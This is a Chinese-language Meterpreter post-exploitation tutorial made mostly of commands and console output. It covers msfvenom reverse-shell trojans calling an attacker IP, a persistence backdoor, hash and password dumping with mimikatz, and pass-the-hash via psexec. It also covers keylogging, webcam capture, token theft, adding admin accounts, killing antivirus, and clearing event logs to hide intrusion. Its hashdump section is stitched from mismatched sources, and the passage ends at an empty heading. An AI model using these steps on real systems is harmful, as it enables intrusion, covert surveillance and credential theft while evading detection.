1.1.什么是Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上又在内网中使用psexec和bind_tcp的时候经常会出现这种情况
1.2.Meterpreter技术优势
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。
1.reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
(1)Linux:
使用下列命令生成一个Linux下反弹shell木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell
看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。
设置下地址和端口,我们就开始监听了
这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了
(2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
2.reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_http
3.reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试
payload:/windows/meterpreter/reverse_https
4.bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
使用下列命令生成木马:
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell
同样道理加权限运行,不演示了。
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Metasploit中的Payload模块主要有以下三种类型:
-Single
-Stager
-Stage
Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:
Single Payload的格式为
Stager/Stage Payload的格式为
当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表:
在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。
1.基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本
2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops #用户登录数
(1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
(4)切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。
(5)“sysinfo”命令
“sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。
(6)execute命令
“execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令,
在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator
我们运行一下目标主机上的记事本程序
execute -f notepad.exe
目标主机上立马弹出来一个记事本程序,如下图:
这样太明显,如果希望隐藏后台执行,加参数-H
execute -H -f notepad.exe
此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了
再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上
命令:
execute -H -i -f cmd.exe
这达到的效果就跟使用shell命令一样了
再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)
-m 直接从内存中执行
"-o wce.txt"是wce.exe的运行参数
(7)idletime命令
“idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。
(8)search命令
“search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。
使用“search –h”命令来查看search命令的帮助信息:
下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。
“search –f l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。
(9)edit命令
调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了
3.网络命令
ipconfig/ifconfig#显示网络接口的关键信息,包括 IP 地址
portfwd -h
用法:portfwd [-h] [add | delete | list | flush] [args]
选项:
-L
-h帮助横幅
-l
-p
-r
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
netstat -an | grep“4444" #查看指定端口开放情况
rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码
rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
route#查看或修改受害者路由表
route add 192.168.1.0 255.255.255.0 1 #添加动态路由
route print #路由表输出
runget_local_subnets #目标主机的内网IP段情况
Arp #看ARP缓冲表
Getproxy #获取代理
(1)portfwd
网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd:
在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。
(2)route
使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。
可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况
命令:run get_local_subnets
如下图:
其内网有192.168.249.0/24网段,我们无法直接访问
下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。
命令:route add 192.168.249.0 255.255.255.0 5
再使用route print查看一下路由表,效果如下图:
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:
大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。
查看shell网络环境:
meterpreter>run get_local_subnets
添加一条通向目标服务器内网的路由
meterpreter>run autoroute -s 100.0.0.0/8 #(根据目标内网网络而定)
查看路由设置:
meterpreter>run autoroute –p
一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。
route print
如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。
msf>route add 10.0.0.0 255.0.0.0 1
说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
4.键盘监听
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。
meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
Starting the keystroke sniffer...
meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
Dumping captured keystrokes...
dir
meterpreter > keyscan_stop #停止针对目标主机的键盘记录
Stopping the keystroke sniffer...
这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。
如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。
5.系统命令
reboot#重新启动受害人的计算机
reg#与受害人的注册表进行交互
rev2self#回到控制目标主机的初始用户账户下
shell#获得控制台权限
shutdown#关闭了受害者的计算机
sysinfo # 查看目标机系统信息,如机器名,操作系统等
add_user username password -h ip #在远程目标主机上添加一个用户
add_group_user "Domain Admins" username -h ip #将用户添加到目标主机的域管理员组中
shell命令
获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试
6.mimikatz
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
7.网络嗅探
meterpreter > use sniffer # 加载嗅探模块
Loading extension sniffer...success.
meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap
meterpreter > sniffer_stop 2 #停止嗅探
Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件:
首先执行use sniffer命令作用为使用嗅探脚本。
sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1.
sniffer_start ID命令开始嗅探。
sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。
对抓取的包进行解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可:
8.获取敏感信息
run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run scraper #获取常见信息
#保存在~/.msf4/logs/scripts/scraper/目录下
(1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息
命令:run post/windows/gather/enum_applications
效果如图:
(2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码
命令:run post/windows/gather/enum_ie
效果如下图:
获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效
9.获取Hash
使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+]Croxy:"Whoareyou"
[*] Dumping password hashes...
[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:
数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。
其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。
接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。
use post/windows/gather/hashdump
set session 4
run
10.通过Hash获取权限
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
------------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHAREADMIN$ yes The share to connect to, can be an admi n share
(ADMIN$,C$,...) or a normal read/write folder share
SMBDomainWORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800
11.捕捉屏幕
要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。
我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。
截取的效果如下所示:
12.得到远程桌面
使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
13.权限提升
这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。
使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。
ps#列出正在运行的进程
kill pid # 杀死进程
migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法
getprivs#尽可能获取尽可能多的特权
getuid #获得当前的权限
getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
getsystem –h #升级权限SYSTEM账户
使用MS14-058之类的Exp进行提权:
meterpreter > background
[*] Backgrounding session 3..
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
use priv#加载特权提升扩展模块,来扩展Meterpreter库
列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。
在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。
14.盗取令牌
meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
meterpreter >list_tokens -u 列出目标主机用户的可用令牌
meterpreter >list_tokens -g 列出目标主机用户组的可用令牌
meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato
meterpreter >execute -f cmd.exe -i -t #调用域权限shell
meterpreter > getuid
meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户
meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作
meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录)
meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒
meterpreter>drop_token pid #停止假冒当前令牌
另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。
load incognito
list_tokens -u
impersonate_token xxxxx\\xxxxxxx
execute -f cmd.exe -i -t
15.清除事件日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志
执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。
执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:
16.网络摄像头
record_mic #音频录制
webcam_chat #查看摄像头接口
webcam_list #查看摄像头列表
webcam_stream #摄像头视频获取
webcam_list
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
webcam_snap
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
OPTIONS:
-h Help Banner
-i >opt> The index of the webcam to use (Default: 1)
-p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg')
-q >opt> The JPEG image quality (Default: '50')
-v >opt> Automatically view the JPEG image (Default: 'true')
meterpreter >
OPTIONS:
-h: Displays the help information for the command
-i opt: If more then 1 web cam is connected, use this option to select the device to capture the
image from
-p opt: Change path and filename of the image to be saved
-q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality
-v opt: By default the value is true, which opens the image after capture
Example usage:
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
“webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。
17.一些脚本命令
为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。
使用“run scriptname”来使用meterpreter模块中的脚本命令
(1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机
命令:
run post/windows/gather/checkvm
效果如下图:
同样有许多类似这样的脚本,下面来介绍几个重要的脚本:
(2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。
从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。
(3)get_local_subnets——“run get_local_subnets”得到本地子网网段
(4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
(5) scraper——“run scraper”从目标主机获得所有网络共享等信息
并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
(6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录
但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:
(7)hashdump——“run hashdump”获得密码哈希值
运行这个脚本和在meterpreter下直接运行hashdump结果差不多。
(8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息
运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
(9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机
远程主机重启后将在特定的时间间隔保持meterpreter会话
run persistence -X -i 5 -p 4444 -r 172.17.11.18 #植入后门
-X 在目标主机上开机自启动
-i 不断尝试反向连接的时间间隔
persistence后渗透模块向目标主机植入后门程序
效果如下图:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功
下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
(10)enum_drives
这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。
后渗透模块post/windows/gather/forensics/enum_drives调用
在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:
命令,在msfconsole下:
use post/windows/gather/forensics/enum_drives
set SESSION 1
exploit
效果如图:
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用
我们首先将meterpreter会话放入后台,然后搜索我们的模块。
然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。
18.SOCKS代理
Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行
然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。
19.运行程序
我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下:
execute -f
execute -f cmd.exe -i#执行cmd.exe命令并进行交互
execute -f cmd.exe -i -t#以所有可用令牌来执行cmd命令
execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互
execute -H -i -f cmd.exe
execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"
运行后它将执行file参数所指定的文件。可选参数如下:
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
-f 执行的程序文件
-d 在目标主机执行时显示的进程名称(用以伪装)
-o wce.txt"是wce.exe的运行参数
20.创建账号
getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息
run getgui-e #开启远程桌面
run getgui -uexample_username -pexample_password #添加账号
调用getgui后渗透攻击模块
作用:开启目标主机远程桌面,并可添加管理员组账号
命令:
run getgui -e
开启目标主机远程桌面
如下图:
命令:
run getgui -u example_username -p example_password
如下图:
执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机
rdesktop -u kali -p meterpreter 192.168.250.176:3389
从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。
添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。
接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。
当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。
21.启用远程桌面
当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:
这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息:
下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面:
run post/windows/manage/enable_rdp
还可以使用 run getgui -e 来开启远程桌面:
利用该命令,我们还可以在目标机器上添加用户:
run getgui -u xxxxx -p xxxxx
22.绑定进程
